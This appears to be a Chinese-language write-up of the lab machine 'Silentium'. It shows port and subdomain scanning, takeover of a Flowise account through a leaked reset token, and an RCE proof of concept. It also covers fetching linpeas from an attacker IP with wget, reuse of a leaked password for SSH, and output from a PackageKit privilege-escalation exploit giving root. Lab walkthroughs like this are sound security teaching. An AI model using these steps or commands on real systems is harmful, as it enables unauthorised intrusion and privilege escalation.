image-20261103160544071

Silentium

Silentium is an easy-difficulty Linux machine that begins with discovering a Flowise instance on a staging subdomain. The application is running a version vulnerable to CVE-2025-58434, an unauthenticated password reset token disclosure that leads to account takeover. With access to Flowise, CVE-2025-59528 is exploited via the CustomMCP node to achieve remote code execution inside a Docker container. Environment variables exposed within the container reveal SSH credentials for the user ben on the host. Further enumeration reveals a Gogs instance on an internal vhost, running a version vulnerable to CVE-2025-8110, which allows an authenticated user to abuse symbolic links via the API to overwrite arbitrary files. This is leveraged to write an SSH public key to root’s authorized_keys file, granting a shell as root.

信息搜集

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(root㉿Eecho)-[~]
└─# rustscan -a 10.129.245.103
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 10.129.245.103:22
Open 10.129.245.103:80
[~] Starting Script(s)
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-03 13:34 +0800
Initiating Ping Scan at 13:34
Scanning 10.129.245.103 [4 ports]
Completed Ping Scan at 13:34, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:34
Completed Parallel DNS resolution of 1 host. at 13:34, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:34
Scanning 10.129.245.103 [2 ports]
Completed SYN Stealth Scan at 13:34, 1.75s elapsed (2 total ports)
Nmap scan report for 10.129.245.103
Host is up, received echo-reply ttl 63 (0.073s latency).
Scanned at 2026-11-03 13:34:03 CST for 2s

PORT STATE SERVICE REASON
22/tcp filtered ssh no-response
80/tcp filtered http no-response

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.42 seconds
Raw packets sent: 8 (328B) | Rcvd: 1 (28B)

hosts写入

image

1
10.129.245.103 silentium.htb

image

子域名扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿Eecho)-[~]
└─# wfuzz -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u silentium.htb -H 'Host: FUZZ.silentium.htb' --hw 12
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://silentium.htb/
Total requests: 100000

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000064: 200 69 L 239 W 3142 Ch "staging"

Total time: 0
Processed Requests: 100000
Filtered Requests: 99999
Requests/sec.: 0

写入hosts文件

1
10.129.245.103 staging.silentium.htb

image

认证绕过

是一个登录界面。但我们并不知Email。只能通过枚举,在主域的时候我们会发现有3个Institutional Leadership.

image

可以尝试这三个用户名进行枚举

marcus_thorne@silentium.htb

ben@silentium.htb

elena_rossi@silentium.htb

image

image

经过验证可以得知ben是用户名其它用户提示User Not Foun只有ben提示Incorrect Email or Password。下面就是爆破密码了,但经过一系列爆破并无产出。

尝试使用忘记密码来进行修改

image

需要一个重置密码就能够修改ben用户的密码

image

从忘记密码的数据包中会返回一个tempToken,刚好可以用来重置密码

image

image

修改的密码必须符合大小写字母数字特殊符号

Eecho123456@

返回signin进行登录

image

是个flowise的后台

‍

CVE

通过GitHub搜索flowise相关的cve。最新的一个是CVE-2026-58057但并未打通,最终是CVE-2025-59528

https://github.com/UsifAraby/CVE-2025-59528-POC

image

image

可以看到我是是root权限但是是在docker环境里面的需要docker逃逸到宿主机

‍

提权

docker逃逸

下载linpeas进行分析

1
2
3
4
5
6
7
8
9
10
11
tmp # cd /tmp/
/tmp # wget http://10.200.69.185/lin2026.sh
Connecting to 10.200.69.185 (10.200.69.185:80)
wget: can't connect to remote host (10.200.69.185): Operation timed out
/tmp # wget http://10.10.17.181/lin2026.sh
Connecting to 10.10.17.181 (10.10.17.181:80)
saving to 'lin2026.sh'
lin2026.sh 100% |****************************************************************************************************************************| 1021k 0:00:00 ETA
'lin2026.sh' saved
/tmp #

‍

image

可以看到SMTP的passwd泄露了,考虑密码复用。

r04D!!_R4ge

docker root -> 宿主机 ben

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(root㉿Eecho)-[~]
└─# ssh ben@silentium.htb
ben@silentium.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Tue Nov 3 07:25:36 AM UTC 2026

System load: 0.1
Usage of /: 82.9% of 13.37GB
Memory usage: 38%
Swap usage: 0%
Processes: 309
Users logged in: 0
IPv4 address for eth0: 10.129.245.103
IPv6 address for eth0: dead:beef::250:56ff:feb9:6db6

=> There are 60 zombie processes.

* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.

https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

68 updates can be applied immediately.
52 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Apr 8 19:12:55 2026 from 10.10.14.5
ben@silentium:~$

‍

ben -> root

image

可以发现linpeas发现了Pack2TheRoot漏洞CVE-2026-41651

https://github.com/Vozec/CVE-2026-41651

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ben@silentium:/tmp$ ./cve-2026-41651
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-88556.deb
[+] payload : /tmp/.pk-payload-88556.deb
[*] Transaction : /3_abeaaada
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 0 ms)
[*] Loop ran for 10 ms
[*] Polling for payload (120 s max)...
[*] t+1s: payload=exists dpkg_lock=free suid=not yet
[*] t+2s: payload=exists dpkg_lock=free suid=not yet

[+] SUCCESS — SUID bash at t+1200ms
uid=1000(ben) gid=1000(ben) euid=0(root) groups=1000(ben),100(users)
.suid_bash: cannot set terminal process group (-1): Inappropriate ioctl for device
.suid_bash: no job control in this shell
.suid_bash-5.2# id
uid=1000(ben) gid=1000(ben) euid=0(root) groups=1000(ben),100(users)

‍